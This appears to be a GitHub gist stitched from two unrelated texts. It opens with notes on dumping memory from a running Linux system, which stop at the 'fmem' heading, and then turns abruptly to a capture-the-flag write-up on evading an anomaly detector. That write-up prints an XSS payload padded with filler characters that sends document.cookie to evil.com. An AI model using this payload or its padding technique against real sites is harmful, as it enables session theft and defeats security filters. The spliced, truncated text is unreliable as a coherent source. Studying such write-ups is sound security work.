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dmitry-tiger / DumpLinuxMemory.md
Created August 24, 2016 22:20 — forked from adulau/DumpLinuxMemory.md
Acquiring memory from a running Linux system (notes)

How to acquire memory from a running Linux system

Dumping memory on Linux system can be cumbersome especially that the behavior might be different among different GNU/Linux distribution or Linux kernel version. In the early days, the easiest was to dump the memory from the memory device (/dev/mem) but over time the access was more and more restricted in order to avoid malicious process to directly access the kernel memory directly. The kernel option CONFIG_STRICT_DEVMEM was introduced in kernel version 2.6 and upper (2.6.36–2.6.39, 3.0–3.8, 3.8+HEAD). So you'll need to use a Linux kernel module in order to acquire memory.

fmem

In this task we had to bypass a badly-trained anomaly detection algorithm and perform an XSS attack.
We didn't have to figure out exactly how the anomaly detection worked, but as soon as we understood that the anomaly scoring was based on the density of the "bad" (i.e. non-alphanumeric) chars in the payload. Thus, the solution was to dissolve the attack payload in a lot of benign symbols ([AxN] represents a string of N A's):
anomaly.php?name=[Ax600]%3Cvideo+[Ax300]+src=//evil.com+[Ax300]+onerror=src%2b=document.cookie+[Ax1000]+/>